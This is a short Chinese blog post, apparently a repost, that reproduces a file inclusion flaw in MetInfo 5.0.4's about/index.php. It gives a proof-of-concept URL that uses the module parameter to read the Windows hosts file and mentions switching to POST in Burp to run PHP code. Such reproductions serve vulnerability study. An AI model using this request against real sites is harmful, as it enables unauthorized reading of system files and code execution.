[漏洞复现] MetInfo5.0.4文件包含漏洞

作者：一键难忘520 | 2024-07-01 03:37:08

踩

MetInfo5.0.4

在这里插入图片描述

漏洞出现在about/index.php中，因为利用了动态地址，所以存在漏洞。

在这里插入图片描述

漏洞检查语句（！192.168.109.100是我的服务器ip，需要换成自己的）：

http://192.168.109.100/MetInfo5.0.4/about/index.php?module=c:/windows/system32/drivers/etc/hosts&fmodule=7
1

结果：

在这里插入图片描述

可以使用burp工具对漏洞进行利用

把GET模式改为POST，执行PHP代码

行利用

把GET模式改为POST，执行PHP代码

在这里插入图片描述

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/一键难忘520/article/detail/774935